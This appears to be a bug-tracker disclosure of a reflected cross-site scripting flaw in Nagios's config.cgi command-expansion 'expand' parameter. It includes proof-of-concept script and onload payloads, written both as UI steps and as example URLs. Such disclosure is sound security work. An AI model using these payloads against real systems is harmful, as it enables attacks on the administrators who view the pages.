Description Vincent Danen 2011-06-01 20:14:46 UTC 
It was reported [1],[2] that an XSS vulnerability exists in Nagios when viewing the configuration and using command expansion, as there is no input validation for "expand" in config.c(gi):

View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>

or 

http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script> [^]
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<body [^] onload=alert(666)>
